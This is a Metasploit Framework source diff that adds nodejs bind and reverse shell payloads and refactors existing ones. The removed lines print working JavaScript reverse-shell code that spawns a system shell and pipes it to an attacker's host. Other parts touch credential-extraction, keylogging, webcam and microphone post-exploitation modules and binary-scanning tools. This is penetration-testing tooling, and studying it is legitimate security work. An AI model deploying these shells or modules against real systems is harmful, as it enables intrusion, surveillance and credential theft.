b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -0,0 +1,43 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/nodejs' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::NodeJS + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind TCP (via nodejs)', + 'Description' => 'Continually listen for a connection and spawn a command shell via nodejs', + 'Author' => 'joev', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'node', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + super + command_string + end + + def command_string + nodejs_cmd(nodejs_bind_tcp) + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb new file mode 100644 index 0000000000..e3295e7e11 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -0,0 +1,43 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/nodejs' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::NodeJS + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via nodejs)', + 'Description' => 'Continually listen for a connection and spawn a command shell via nodejs', + 'Author' => 'joev', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'node', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + super + command_string + end + + def command_string + nodejs_cmd(nodejs_reverse_tcp) + end +end diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb new file mode 100644 index 0000000000..0135befa97 --- /dev/null +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -0,0 +1,51 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +# It would be better to have a commonjs payload, but because the implementations +# differ so greatly when it comes to require() paths for net modules, we will +# settle for just getting shells on nodejs. + +require 'msf/core' +require 'msf/core/payload/nodejs' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::NodeJS + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Bind TCP (via nodejs)', + 'Description' => 'Creates an interactive shell via nodejs', + 'Author' => ['joev'], + 'License' => BSD_LICENSE, + 'Platform' => 'nodejs', + 'Arch' => ARCH_NODEJS, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'nodejs', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the JS string to use for execution + # + def command_string + nodejs_bind_tcp + end +end diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index d36168e685..1957581af6 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -10,12 +10,14 @@ # settle for just getting shells on nodejs. require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -44,24 +46,6 @@ module Metasploit3 # Returns the JS string to use for execution # def command_string - lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] - cmd = <<EOS -(function(){ - var require = global.require || global.process.mainModule.constructor._load; - if (!require) return; - var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; - var net = require("net"), - cp = require("child_process"), - util = require("util"), - sh = cp.spawn(cmd, []); - var client = this; - client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", function() { - client.socket.pipe(sh.stdin); - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); - }); -})(); -EOS - return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}" + nodejs_reverse_tcp end end diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index e57e752c46..becbc7a8e9 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -41,24 +43,6 @@ module Metasploit3 # Returns the JS string to use for execution # def command_string - lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] - cmd = <<EOS -(function(){ - var require = global.require || global.process.mainModule.constructor._load; - if (!require) return; - var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; - var tls = require("tls"), - cp = require("child_process"), - util = require("util"), - sh = cp.spawn(cmd, []); - var client = this; - client.socket = tls.connect(#{datastore['LPORT']}, "#{lhost}", {rejectUnauthorized:false}, function() { - client.socket.pipe(sh.stdin); - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); - }); -})(); -EOS - return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}" + nodejs_reverse_tcp(:use_ssl => true) end end diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 7b316cdcdc..1a93e13352 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -17,7 +17,7 @@ module Metasploit3 'Name' => 'OS X x64 Execute Command', 'Description' => 'Execute an arbitrary command', 'Author' => [ 'argp <argp[at]census-labs.com>', - 'joev <jvennix[at]rapid7.com>' ], + 'joev' ], 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64 diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 387a28ee5d..437f7cea91 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -30,7 +30,7 @@ module Metasploit3 [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>', - 'joev <jvennix[at]rapid7.com>' + 'joev' ], 'License' => BSD_LICENSE, 'Platform' => 'osx', diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 1eaa6b208b..c5bcf75334 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post 'Author' => [ "Jann Horn", # discovery - "joev <jvennix[at]rapid7.com>" # metasploit module + "joev" # metasploit module ], 'DisclosureDate' => 'Nov 20 2012', 'Platform' => %w{ linux osx } diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb new file mode 100644 index 0000000000..b054198958 --- /dev/null +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -0,0 +1,67 @@ +# +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather Resolve Hosts', + 'Description' => %q{ + Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'Platform' => %w{ win python }, + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptString.new('HOSTNAMES', [true, 'Comma seperated list of hostnames to resolve.']), + OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) + ], self.class) + end + + def run + hosts = datastore['HOSTNAMES'].split(',') + + if datastore['AI_FAMILY'] == 'IPv4' + family = AF_INET + else + family = AF_INET6 + end + + # Clear whitespace + hosts.collect{|x| x.strip!} + + print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if not sysinfo.nil? + + response = client.net.resolve.resolve_hosts(hosts, family) + + table = Rex::Ui::Text::Table.new( + 'Indent' => 0, + 'SortIndex' => -1, + 'Columns' => + [ + 'Hostname', + 'IP', + ] + ) + + response.each do |result| + if result[:ip].nil? + table << [result[:hostname], '[Failed To Resolve]'] + else + table << [result[:hostname], result[:ip]] + end + end + + table.print + end +end diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 73dc634c2a..5b41a15076 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Post command using -e, so the payload never hits the disk. }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ] )) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 86bf9db69a..6cba8e5917 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Joff Thyer <jsthyer[at]gmail.com>', # original post module - 'joev <jvennix[at]rapid7.com>' # bug fixes + 'joev' # bug fixes ], 'Platform' => [ 'osx' ], 'References' => [ diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 861252e076..ac952509c7 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post capture (with the RECORD action) audio inputs on a remote OSX machine. }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 09cf065e0f..88352d45f7 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post record a webcam and mic (with the RECORD action) }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 95fcdacffa..3ec266b4e3 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => 'Windows Gather Dyn-Dns Client Password Extractor', + 'Name' => 'Windows Gather DynDNS Client Password Extractor', 'Description' => %q{ - This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8. + This module extracts the username, password, and hosts for DynDNS version 4.1.8. This is done by downloading the config.dyndns file from the victim machine, and then automatically decode the password field. The original copy of the config file is also saved to disk. diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 4710c649af..852f5f6513 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Post 'References' => [ ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + ['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580'] ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Post # def unattend_exists?(xml_path) x = session.fs.file.stat(xml_path) rescue nil - return !x.nil? + return !!x end @@ -78,12 +79,11 @@ class Metasploit3 < Msf::Post # # Save Rex tables separately # - def save_cred_tables(cred_tables) - cred_tables.each do |t| - vprint_line("\n#{t.to_s}\n") - p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) - print_status("#{t.header} saved as: #{p}") - end + def save_cred_tables(cred_table) + t = cred_table + vprint_line("\n#{t.to_s}\n") + p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header) + print_status("#{t.header} saved as: #{p}") end @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Post # If there is one for registry, we add it to the list too reg_path = get_registry_unattend_path - paths << reg_path if not reg_path.empty? + paths << reg_path unless reg_path.empty? return paths end @@ -152,7 +152,7 @@ class Metasploit3 < Msf::Post def run init_paths.each do |xml_path| # If unattend.xml doesn't exist, move on to the next one - if not unattend_exists?(xml_path) + unless unattend_exists?(xml_path) vprint_error("#{xml_path} not found") next end @@ -161,71 +161,18 @@ class Metasploit3 < Msf::Post save_raw(xml_path, raw) # XML failed to parse, will not go on from here - return if not xml + return unless xml results = Rex::Parser::Unattend.parse(xml) - tables = create_display_tables(results) + table = Rex::Parser::Unattend.create_table(results) + table.print unless table.nil? + print_line - # Save the data - save_cred_tables(tables.flatten) if not tables.empty? + # Save the data to a file, TODO: Save this as a Mdm::Cred maybe + save_cred_tables(table) unless table.nil? - return if not datastore['GETALL'] + return unless datastore['GETALL'] end end - def create_display_tables(results) - tables = [] - wds_table = Rex::Ui::Text::Table.new({ - 'Header' => 'WindowsDeploymentServices', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - autologin_table = Rex::Ui::Text::Table.new({ - 'Header' => 'AutoLogon', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - admin_table = Rex::Ui::Text::Table.new({ - 'Header' => 'AdministratorPasswords', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - - domain_table = Rex::Ui::Text::Table.new({ - 'Header' => 'DomainAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Group'] - }) - - local_table = Rex::Ui::Text::Table.new({ - 'Header' => 'LocalAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - results.each do |result| - unless result.empty? - case result['type'] - when 'wds' - wds_table << [result['domain'], result['username'], result['password']] - when 'auto' - autologin_table << [result['domain'], result['username'], result['password']] - when 'admin' - admin_table << [result['username'], result['password']] - when 'domain' - domain_table << [result['username'], result['group']] - when 'local' - local_table << [result['username'], result['password']] - end - end - end - - tables << autologin_table - tables << admin_table - tables << domain_table - tables << local_table - - return tables - end end diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb index 7d30a34469..40a557fabd 100644 --- a/modules/post/windows/gather/resolve_hosts.rb +++ b/modules/post/windows/gather/resolve_hosts.rb @@ -10,11 +10,15 @@ require 'rex' class Metasploit3 < Msf::Post + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 12, 9), 'post/multi/gather/resolve_hosts' + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Resolve Hosts', 'Description' => %q{ - Resolves hostnames to either IPv4 or IPv6 addresses. + Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], @@ -55,7 +59,11 @@ class Metasploit3 < Msf::Post ) response.each do |result| - table << [result[:hostname], result[:ip]] + if result[:ip].nil? + table << [result[:hostname], '[Failed To Resolve]'] + else + table << [result[:hostname], result[:ip]] + end end table.print diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 8ed4615e59..5becb6027a 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post print_good("Successfully injected Meterpreter in to process: #{target_pid}") rescue::Exception => e print_error("Failed to Inject Payload to #{target_pid}!") - print_error(e) + print_error(e.message) end end diff --git a/msfbinscan b/msfbinscan index 442bf3e7f4..e9fe1dff76 100755 --- a/msfbinscan +++ b/msfbinscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,7 +29,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -44,258 +44,258 @@ files = [] mode = "" opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions [PE|ELF|MACHO]') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - mode = "jump" - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + mode = "jump" + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations [PE|ELF|MACHO]') do |t| - mode = "pop" - param['args'] = t + mode = "pop" + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match [PE|ELF|MACHO]') do |t| - mode = "regex" - param['args'] = t + mode = "regex" + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address [PE|ELF]') do |t| - mode = "analyze-address" - param['args'] = opt2i(t) + mode = "analyze-address" + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset [PE|ELF]') do |t| - mode = "analyze-offset" - param['args'] = opt2i(t) + mode = "analyze-offset" + param['args'] = opt2i(t) end opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler [PE]') do |t| - mode = "fingerprint" - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') + mode = "fingerprint" + param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') end opt.on('-i', '--info', 'Display detailed information about the image [PE]') do |t| - mode = "info" + mode = "info" end opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk [PE]') do |t| - mode = "ripper" - param['dir'] = t + mode = "ripper" + param['dir'] = t end opt.on('--context-map [directory]', 'Generate context-map files [PE]') do |t| - mode = "context" - param['dir'] = t + mode = "context" + param['dir'] = t end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b) [PE|ELF|MACHO]') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b) [PE|ELF|MACHO]') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase [PE|ELF|MACHO]') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t| - param['disasm'] = true + param['disasm'] = true end opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression [PE]') do |t| - param['filteraddr'] = t + param['filteraddr'] = t end opt.on_tail("-h", "--help", "Show this message") do - $stderr.puts opt - exit(1) + $stderr.puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption, OptionParser::MissingArgument - $stderr.puts "Invalid option, try -h for usage" - exit(1) + $stderr.puts "Invalid option, try -h for usage" + exit(1) end if mode.empty? - $stderr.puts "A mode must be selected" - $stderr.puts opt - exit(1) + $stderr.puts "A mode must be selected" + $stderr.puts opt + exit(1) end # check if the file is a directory if it is collect all the entries ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end end # we need to do some work to figure out the file format files.each do |file| - param['file'] = file + param['file'] = file - bin = Metasm::AutoExe.decode_file(file) if not file.empty? + bin = Metasm::AutoExe.decode_file(file) if not file.empty? - if bin.kind_of?(Metasm::PE) - case mode - when "jump" - worker = Rex::PeScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::PeScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::PeScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::PeScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::PeScan::Search::DumpOffset - when "fingerprint" - worker = Rex::PeScan::Analyze::Fingerprint - when "info" - worker = Rex::PeScan::Analyze::Information - when "ripper" - worker = Rex::PeScan::Analyze::Ripper - when "context" - worker = Rex::PeScan::Analyze::ContextMapDumper - else - $stderr.puts("Mode unsupported by file format") - end + if bin.kind_of?(Metasm::PE) + case mode + when "jump" + worker = Rex::PeScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::PeScan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::PeScan::Scanner::RegexScanner + when "analyze-address" + worker = Rex::PeScan::Search::DumpRVA + when "analyze-offset" + worker = Rex::PeScan::Search::DumpOffset + when "fingerprint" + worker = Rex::PeScan::Analyze::Fingerprint + when "info" + worker = Rex::PeScan::Analyze::Information + when "ripper" + worker = Rex::PeScan::Analyze::Ripper + when "context" + worker = Rex::PeScan::Analyze::ContextMapDumper + else + $stderr.puts("Mode unsupported by file format") + end - pe_klass = Rex::PeParsey::Pe - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end + pe_klass = Rex::PeParsey::Pe + begin + pe = pe_klass.new_from_file(file, true) + rescue ::Interrupt + raise $! + rescue Rex::PeParsey::FileHeaderError + next if $!.message == "Couldn't find the PE magic!" + raise $! + rescue Errno::ENOENT + $stdout.puts("File does not exist: #{file}") + next + rescue ::Rex::PeParsey::SkipError + next + rescue ::Exception => e + $stdout.puts "[#{file}] #{e.class}: #{e}" + next + end - if (param['imagebase']) - pe.image_base = param['imagebase']; - end + if (param['imagebase']) + pe.image_base = param['imagebase']; + end - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end + if not worker + $stderr.puts("A mode could not be set for this file.") + next + end - o = worker.new(pe) - o.scan(param) + o = worker.new(pe) + o.scan(param) - pe.close + pe.close - elsif bin.kind_of?(Metasm::ELF) - case mode - when "jump" - worker = Rex::ElfScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::Elfscan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::ElfScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::ElfScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::ElfScan::Search::DumpOffset - else - $stderr.puts("Mode unsupported by file format") - end - - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + elsif bin.kind_of?(Metasm::ELF) + case mode + when "jump" + worker = Rex::ElfScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::Elfscan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::ElfScan::Scanner::RegexScanner + when "analyze-address" + worker = Rex::ElfScan::Search::DumpRVA + when "analyze-offset" + worker = Rex::ElfScan::Search::DumpOffset + else + $stderr.puts("Mode unsupported by file format") + end + + begin + elf = Rex::ElfParsey::Elf.new_from_file(file, true) + rescue Rex::ElfParsey::ElfHeaderError + if $!.message == 'Invalid magic number' + $stderr.puts("Skipping #{file}: #{$!}") + next + end + raise $! + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end + if (param['imagebase']) + elf.base_addr = param['imagebase']; + end - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end - - o = worker.new(elf) - o.scan(param) + if not worker + $stderr.puts("A mode could not be set for this file.") + next + end + + o = worker.new(elf) + o.scan(param) - elf.close + elf.close - elsif bin.kind_of?(Metasm::MachO) - case mode - when "jump" - worker = Rex::MachScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::MachScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::MachScan::Scanner::RegexScanner - else - $stderr.puts("Mode unsupported by file format") - end + elsif bin.kind_of?(Metasm::MachO) + case mode + when "jump" + worker = Rex::MachScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::MachScan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::MachScan::Scanner::RegexScanner + else + $stderr.puts("Mode unsupported by file format") + end - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - begin - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue - $stderr.puts("Error: " + $!.to_s) - $stderr.puts("Skipping #{file}") - end - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - end + begin + mach = Rex::MachParsey::Mach.new_from_file(file, true) + o = worker.new(mach) + o.scan(param) + mach.close + rescue Rex::MachParsey::MachHeaderError + $stderr.puts("File is not a Mach-O binary, trying Fat..\n") + begin + fat = Rex::MachParsey::Fat.new_from_file(file, true) + o = worker.new(fat) + o.scan(param) + fat.close + rescue + $stderr.puts("Error: " + $!.to_s) + $stderr.puts("Skipping #{file}") + end + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end + end - if not worker - $stderr.puts("Unsupported file format") - $stderr.puts("Skipping #{file}") - next - end + if not worker + $stderr.puts("Unsupported file format") + $stderr.puts("Skipping #{file}") + next + end end diff --git a/msfcli b/msfcli index 23674498fa..fb346c1ca8 100755 --- a/msfcli +++ b/msfcli @@ -8,7 +8,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -16,543 +16,544 @@ require 'rex' class Msfcli - def initialize(args) - @args = {} - @indent = ' ' - @framework = nil - - @args[:module_name] = args.shift # First argument should be the module name - @args[:mode] = args.pop || 'h' # Last argument should be the mode - @args[:params] = args # Whatever is in the middle should be the params - - if @args[:module_name] =~ /^exploit(s)*\//i - @args[:module_name] = @args[:module_name].split('/') - @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" - end - end - - # - # Returns a usage Rex table - # - def usage (str = nil, extra = nil) - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Usage: #{$0} <exploit_name> <option=value> [mode]", - 'Indent' => 4, - 'Columns' => ['Mode', 'Description'] - ) - - tbl << ['(H)elp', "You're looking at it baby!"] - tbl << ['(S)ummary', 'Show information about this module'] - tbl << ['(O)ptions', 'Show available options for this module'] - tbl << ['(A)dvanced', 'Show available advanced options for this module'] - tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] - tbl << ['(P)ayloads', 'Show available payloads for this module'] - tbl << ['(T)argets', 'Show available targets for this exploit module'] - tbl 